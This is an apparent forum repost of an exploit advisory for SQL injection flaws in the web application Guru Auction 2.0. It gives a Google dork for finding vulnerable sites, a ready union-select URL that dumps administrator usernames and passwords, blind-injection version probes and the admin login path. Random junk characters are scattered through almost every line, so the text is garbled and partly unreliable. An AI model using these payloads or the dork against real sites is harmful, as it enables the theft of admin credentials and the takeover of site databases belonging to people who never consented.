Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
8 @& J8 |7 }6 z% `0 X r0 G4 \0 N
) q) G( q6 D! p' S, x8 Z! t作者 : v3n0m6 Y: L4 J5 m7 b
应用 : Guru Auction 2.0
, P& F+ m" [! P: O5 Y8 BPrice : $494 Q/ e" x& h4 e1 W
Vendor : http://www.guruscript.com/* M0 a( M' T( g7 t/ O k6 @
Google Dork : inurl:subcat.php?cate_id=6 s2 M) d5 `! q! Y
4 g: @" U8 r4 T% W
SQLi p0c:' d' K( q L, X# d9 z
~~~~~~~~~~
" o7 m1 n5 i7 K1 H. V* K" e8 o( U! ]http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--, S3 G7 E: R/ Z
8 F) R0 o8 W! J: ]" y" I' E
7 G* O) |( a+ q# e9 Q9 ?$ Y盲注 p0c:
( g/ O8 ^# G9 J; r3 q~~~~~~~~~~
0 \( ~# h' n& U/ d+ s4 S9 lhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true9 c4 L% h# c- M: k
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false# O: q8 N3 b% F# ~* y- Y/ e' h
2 Q) @4 I7 |; H8 D' m! f管理登录入口:
- x( B9 ]4 Y5 g; V/ `; n: q. W* {~~~~~~~~~~8 T' r0 g% ]9 z# m
http://domain.tld/[path]/admin/
0 ~; w& X( U: D- G8 f. { |
发表于 2012-12-31 09:24:05
收藏
支持
反对